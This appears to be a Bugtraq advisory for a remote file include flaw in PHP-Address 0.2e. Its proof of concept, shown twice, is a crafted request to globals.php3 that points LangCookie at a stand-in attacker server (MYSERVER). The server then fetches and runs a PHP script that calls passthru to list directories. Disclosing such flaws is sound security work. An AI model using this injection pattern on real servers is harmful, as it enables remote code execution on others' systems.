PHP-Address Remote File Include Vulnerability
BID:5039
Info
PHP-Address Remote File Include Vulnerability
| Bugtraq ID: | 5039 |
| Class: | Configuration Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jun 17 2002 12:00AM |
| Updated: | Jun 17 2002 12:00AM |
| Credit: | Discovery of this issue is credited to Tim Vandermeerch <[email protected]>. |
| Vulnerable: |
PHP-Address PHP-Address 0.2 e |
| Not Vulnerable: |
PHP-Address PHP-Address 0.2 f |
Exploit / POC
PHP-Address Remote File Include Vulnerability
The following example was submitted:
The following request is made:
http://SERVER/globals.php3?LangCookie=http://MYSERVER/x
(the .php3 is already there look at line 5 in global.php3)
Remote script located on MYSERVER:
------------x.php3------------
<?
passthru("/bin/ls /");
?>
-------------------------------
Outputs a directory listing.
The following example was submitted:
The following request is made:
http://SERVER/globals.php3?LangCookie=http://MYSERVER/x
(the .php3 is already there look at line 5 in global.php3)
Remote script located on MYSERVER:
------------x.php3------------
<?
passthru("/bin/ls /");
?>
-------------------------------
Outputs a directory listing.